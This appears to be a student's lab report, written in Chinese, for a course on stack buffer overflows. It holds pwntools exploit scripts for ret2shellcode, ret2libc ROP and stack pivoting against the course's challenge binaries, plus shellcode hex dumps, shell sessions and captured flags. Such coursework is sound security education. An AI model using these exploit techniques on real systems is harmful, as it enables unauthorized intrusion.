lab01-缓冲区溢出

栈上缓冲区溢出

Task 1

请阅读 sbof1.c 和 example.py, 关注脚本中:

- 学会使用 pwntools 中的 ELF, 其可以方便的辅助得到代码下符号的地址、字符串地址、GOT 表等信息
- 学会根据读汇编代码理解如何计算缓冲区长度以及如何覆盖返回地址的
- 1. 使用 pwntools 中的 ELF:

```
binary = ELF("./sbof1") # 分析目标程序
target_code_addr = binary.symbols["target_code"]
```

使用 ELF 类来分析目标程序,并通过 binary.symbols["target_code"] 获取 target_code 函数的地址。

- 2. 通过汇编代码理解缓冲区长度和返回地址覆盖:
- 栈帧大小为 0x50 (sub rsp,0x50)
- 缓冲区从 [rbp 0x50] 开始,到 [rbp 0x10] 结束
- len 变量位于 [rbp 0x4]
- 需要额外 0x18 字节来覆盖返回地址

根据这些信息,payload 的构造如下:

```
payload = b""
payload += b"A" * 0x40 # 1. 填充原始缓冲区
payload += b"B" * 0x10 # 2. 填充剩余空间
payload += b"C" * 0x8 # 3. 填充帧指针
payload += p64(target_code_addr) # 4. 填充返回地址
payload = payload + b"D" * (128 - len(payload)) # 5. 填充剩余空间
```

实践:

请阅读 sbof2.c,并在理解 example.py 的基础上编写攻击代码,实现 ret2shellcode 攻击的本地测试和远程测试,该服务暴露在:

IP: 8.154.20.109 , PORT: 10101

请截图证明远程成功拿 shell,并将攻击代码以附件形式提交 (下图为获取到 flag 的截图示例)

llvm-objdump -d sbof2 的输出与分析:

```
00000000000401205 <main>:
 401205: f3 0f 1e fa
                                      endbr64
 401209: 55
                                      pushq %rbp
 40120a: 48 89 e5
                                            %rsp, %rbp
                                      movq
 40120d: 48 81 ec 10 01 00 00
                                      subq
                                            $0x110, %rsp
                                                                     \# imm = 0 \times 110
 401214: 89 bd fc fe ff ff
                                      movl %edi, -0x104(%rbp)
 40121a: 48 89 b5 f0 fe ff ff
                                      movq
                                             %rsi, -0x110(%rbp)
 401221: b8 00 00 00 00
                                              $0x0, %eax
                                      movl
 401226: e8 6b ff ff ff
                                      callq 0x401196 <prepare>
 40122b: 48 8d 85 00 ff ff ff
                                      leaq -0x100(%rbp), %rax
 401232: 48 89 c6
                                      movq %rax, %rsi
 401235: bf 04 20 40 00
                                      movl $0x402004, %edi
                                                                   # imm = 0 \times 402004
 40123a: b8 00 00 00 00
                                      movl $0x0, %eax
 40123f: e8 2c fe ff ff
                                      callq 0x401070 <.plt.sec>
 401244: 48 8d 85 00 ff ff ff
                                             -0x100(%rbp), %rax
                                     leaq
 40124b: 48 89 c7
                                      movq
                                             %rax, %rdi
 40124e: b8 00 00 00 00
                                              $0x0, %eax
                                      movl
 401253: e8 38 fe ff ff
                                      callq 0x401090 <.plt.sec+0x20>
 401258: b8 00 00 00 00
                                      movl
                                              $0x0, %eax
 40125d: c9
                                      leave
 40125e: c3
                                      retq
```

- 栈帧大小为 0x110 (subq \$0x110, %rsp)
- 缓冲区从 [rbp 0x100] 开始
- 覆盖返回地址为缓冲区的起始地址

payload 的构造如下:

- 首先放入 shellcode
- 填充剩余的缓冲区空间, 大小为 0x100 + 8 len(shellcode)
- 覆盖返回地址为缓冲区的起始地址

```
from pwn import *
context.log_level = 'DEBUG' # 设置调试日志级别
# 定义shellcode, 这里使用一个简单的执行 /bin/sh 的shellcode
p = process("./sbof2") # 加载目标程序
\# p = remote("8.154.20.109", 10100)
# 接收程序输出的缓冲区地址
p.recvuntil(b"gift address: ")
buffer_addr = int(p.recvline().strip(), 16)
print(f"Buffer address: {hex(buffer_addr)}")
# 构造payload
payload = shellcode # 首先放入shellcode
payload += b"A" * (0x100 + 8 - len(shellcode)) # 填充剩余的缓冲区空间
payload += p64(buffer_addr) # 覆盖返回地址为缓冲区的起始地址
# 发送payload
p.sendline(payload)
# 获取shell
p.interactive()
```

```
[DEBUG] Received 0x1d bytes:
    b'gift address: 0xffff9a36dd40\n'
Buffer address: 0xffff9a36dd40
[DEBUG] Sent 0x111 bytes:
    00000000 31 c0 48 bb
                             d1 9d 96 91 d0 8c 97 ff
                                                          48 f7 db 53
                                                                          |1·H·|···|···|H··S|
    00000010 54 5f 99 52 57 54 5e b0
                                           3b 0f 05 41
                                                                          \mathsf{T}_{-}\cdot\mathsf{R} \mid \mathsf{WT}^{\wedge} \cdot \mid \mathsf{;} \cdot \cdot \mathsf{A} \mid \mathsf{AAAA}
                                                          41 41 41 41
                                                                          AAAA AAAA AAAA AAAA
    00000020 41 41 41 41
                             41 41 41 41 41 41 41 41
                                                          41 41 41 41
    00000100 41 41 41 41 41 41 41 40 dd 36 9a ff ff 00 00
                                                                          AAAA AAAA @·6· ····
    00000110
    00000111
[*] Switching to interactive mode
 ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0x44 bytes:
    b'Makefile example.py my_example.py sbof1 sbof1.c sbof2 sbof2.c\n'
Makefile example.py my_example.py sbof1 sbof1.c sbof2 sbof2.c
[*] Got EOF while reading in interactive
```

尝试连接远程,发现需要输入学生 ID,修改代码,使用 p.sendline(b"3220103784")。

```
-(parallels% kali-linux-2022-2)-[~/Documents/SSecAnyaZJU/lab-01/sbof]
 python3 my_exp2.py
 [+] Opening connection to 8.154.20.109 on port 10100: Done
 [DEBUG] Received 0x1d bytes:
        b'Please input your StudentID:\n'
[DEBUG] Sent 0xb bytes:
b'3220103784\n'
[DEBUG] Received 0x2c bytes:
        b'Welcome 3220103784! Here is your challenge:\n'
          UG] Received 0x1d bytes:
         b'gift address: 0x7ffc3ea8e1b0\n'
 [+] buffer address: 0x7ffc3ea8e1b0
          UG] Sent 0x111 bytes:
         00000000 48 31 f6 56
                                                          48 bf 2f 62 69 6e 2f 2f 73 68 57 54
                                                                                                                                                 |H1·V|H·/b|in//|shWT
         _j;X ···A AAAA AAAA
AAAA AAAA AAAA
         00000100 41 41 41 41 41 41 41 41 b0 e1 a8 3e fc 7f 00 00
                                                                                                                                                  AAAA AAAA · · · > | · · · · |
         00000110
                             0a
         00000111
[*] Switching to interactive mode
   ./flag.exe
[DEBUG] Sent 0xb bytes:
b'./flag.exe\n'
[DEBUG] Received 0x23 bytes:
b'Usage: ./flag.exe <YOUR STUDENT ID>'
Usage: ./flag.exe <YOUR STUDENT ID>$ ./flag.exe 3220103784
         UG] Sent 0x16 bytes:
b'./flag.exe 3220103784\n'
[DEBUG] Received 0x4a8 bytes:

      000000000
      20
      e2
      96
      88
      e2
      96
```

得到 flag: ssec2024{m4G1c_5taCk_bUFf3r_0v3rf1ow|28a3ceb6}

```
00000480 34 7b 6d 34 47 31 63 5f 35 74 61 43 6b 5f 62 55 4{m4 G1c_ StaC k_bU on one of the composition of th
```

ROP: Return-Oriented-Programming

请阅读 rop1.c 和 example.py, 关注脚本中:

- rop1.c 的攻击和 rop2.c 的攻击有何区别
- 学会使用 pwntools 的 rop API,让 payload 的构造事半功倍
- 注: 也可以使用 ROPGadget 等工具, 更加定制化的选择 gadgets

```
rop(rdi = 0x7373656332303234) # 设置 rdi 寄存器的值
rop.raw(target_code_addr) # 添加 target_code 函数的地址
payload += rop.chain()
payload = payload + b"B" * (128 - len(payload)) # 填充
```

- 1. rop(rdi = 0x7373656332303234):
 - 这行代码使用 pwntools 的 ROP API 来设置 rdi 寄存器的值。
 - 在 x86-64 架构中,rdi 寄存器通常用于存放函数的第一个参数。
 - pwntools 会自动寻找合适的 gadget 来将这个值放入 rdi 寄存器。
- 2. rop.raw(target_code_addr) :
 - 这行代码将 target_code 函数的地址直接添加到 ROP 链中。
 - 这意味着在设置 rdi 寄存器后,程序将跳转到 target_code 函数。
- 3. payload += rop.chain():
 - 这行代码生成完整的 ROP 链,并将其添加到 payload 中。
 - rop.chain()会返回一个字节串,包含所有必要的地址和 gadgets。
- 4. payload = payload + b"B" * (128 len(payload)):
 - 这行代码进行填充,确保 payload 的总长度为 128 字节。
 - 使用 "B" 字符填充剩余空间。
 - 这是为了确保 payload 的长度符合程序的输入要求。

Task 2

实践 - 1

请阅读 rop2.c, 并在理解 example.py 的基础上编写攻击代码,实现 ret2libc 攻击的本地测试和远程测试,该服务暴露在:

IP: 8.154.20.109, PORT: 10101

1. 使用 pwntools 的 ROP 类来构造 ROP 链, 但出现段错误

```
payload = b""
payload += b"A" * (0x50 + 8)

rop.raw(target_code_addr)  # gadgets that will return to target function
payload += rop.chain()  # generate full rop chain
payload = payload + b"B" * (128 - len(payload)) # padding
```

2. 解决段错误,将 ret 指令的地址添加到 ROP 链中,用于调整栈对齐,成功执行到 /bin/ls

分析段错误可能出现的原因: a. 栈对齐问题; b. target_code 函数的参数设置; c. 程序的保护机制

添加 ret 指令的地址,用于调整栈对齐。

```
ret_addr = rop.find_gadget(['ret'])[0]
rop.raw(ret_addr)
```

```
[*] Switching to interactive mode
[DEBUG] Received 0x49 bytes:
    b'example.py Makefile my_exp2.py rop1\trop1.c\trop2 rop2.c rop3 rop3.c\n'
example.py Makefile my_exp2.py rop1 rop1.c rop2 rop2.c rop3 rop3.c
```

- 3. 在这个漏洞利用中,目标不是执行 target_code 函数。目标 ROP:调用 system("/bin/sh")。
- 首先使用 pop rdi gadget 将 binsh_code_addr (指向 "/bin/sh" 字符串的地址)放入 rdi 寄存器。

• 然后调用 system 函数, 传入 rdi 中的参数。

```
- target_code_addr = binary.symbols["target_code"]
+binsh_code_addr = binary.symbols["gstr"]
+system_addr = binary.symbols["system"]

payload = b""
payload += b"A" * (0x50 + 8)

ret_addr = rop.find_gadget(['ret'])[0]
+ pop_rdi = rop.find_gadget(['pop rdi'])[0]

# 构造ROP链
+ rop.raw(pop_rdi)
+ rop.raw(binsh_code_addr)
rop.raw(ret_addr)
- rop.row(target_code_addr)
+ rop.raw(system_addr)
```

远端测试,得到 flag: ssec2023{r0p_bAs1c_biNarY|edf1d3c1}



Task 3

实践 - 2

请阅读 rop3.c, 并在理解上述攻击的基础上编写攻击代码,完成栈迁移操作,并最终实现弹 shell 攻击的本地测试和远程测试,该服务暴露在:

IP: 8.154.20.109, PORT: 10102

- 1. 分析 rop3.c 的代码,用 gadget 获取必要信息
 - 漏洞点:
 - func() 中的 read 操作存在栈溢出漏洞,可以溢出16字节
 - main 函数中向 gbuffer 写入数据的操作给了我们一个可控的内存区域

利用栈迁移技术:

- i. 由于 func() 中的溢出有限,我们可以使用栈迁移将栈指针指向 gbuffer
- ii. 在 gbuffer 中构造我们的 ROP 链

攻击步骤:

- i. 第一次输入 (向 gbuffer 写入):
 - 写入 "/bin/sh\0" 字符串
 - 构造 ROP 链: pop rdi gadget + "/bin/sh"字符串地址 + system 函数地址
- ii. 第二次输入(触发 func() 中的溢出):
 - 填充到返回地址
 - 覆盖返回地址为 leave; ret gadget 的地址
 - 在这之前放置 gbuffer 的地址作为新的栈基址
- iii. 当 func() 返回时:
 - leave 指令会使栈指针指向 gbuffer
 - ret 指令会跳转到我们在 gbuffer 中构造的 ROP 链

```
# 获取 system 地址
p.recvuntil(b"gift system address: ")
system_addr = int(p.recvline().strip(), 16)
log.info(f"System address: {hex(system_addr)}")

# 获取必要的 gadgets
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
leave_ret = rop.find_gadget(['leave', 'ret'])[0]
ret_addr = rop.find_gadget(['ret'])[0]
gbuffer_addr = binary.symbols['gbuffer']
```

2. 构造 payload

```
# 构造gbuffer中的payload
payload1 = b"/bin/sh\0" # shellcode
payload1 += p64(pop_rdi) # pop rdi; ret
payload1 += p64(gbuffer_addr) # "/bin/sh"
payload1 += p64(ret_addr) # ret
payload1 += p64(system_addr) # system

# 构造栈溢出的payload
payload2 = b"A" * 0x40 # 填充到 rbp
payload2 += p64(gbuffer_addr) # 新的 rbp
payload2 += p64(LEAVE_RET) # 返回地址设为 leave; ret gadget
```

本地测试:

```
[DEBUG] Sent 0x29 bytes:
                                                            2f 62 69 6e
                        2f 73 68 00 23 08 40 00 00 00 00 00
   00000000
   00000010 a0 20 60 00 00 00 00 00 86 05 40 00 00 00 00
           a0 05 40 00 00 00 00 00
   00000020
                                    0a
   00000029
[*] First payload sent to gbuffer
[DEBUG] Received 0x2 bytes:
b'>
[DEBUG] Sent 0x51 bytes:
   AAAA AAAA AAAA AAAA
   00000040 a0 20 60 00 00 00 00 00 07 40 00 00 00 00
                                                            | · ` · | · · · · | · · @ · | · · · · |
   00000050
           0a
   00000051
[*] Second payload sent for stack migration
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
   b'ls\n'
[DEBUG] Received 0x52 bytes:
   b'example.py my_exp2.py\trop1\trop2\trop3\n'
   b'Makefile
                my_exp3.py\trop1.c\trop2.c\trop3.c\n'
                            rop2
                                    rop3
example.py my_exp2.py rop1
Makefile
          my_exp3.py rop1.c rop2.c rop3.c
```

远端测试,得到 flag: ssec2023{r0p_1RiVi4L_p1v0t|d9933483}

0000049e

[timestamp] Sun Sep 29 14:20:42 2024
You flag: ssec2023{r0p_1RiVi4L_p1v0t|d9933483}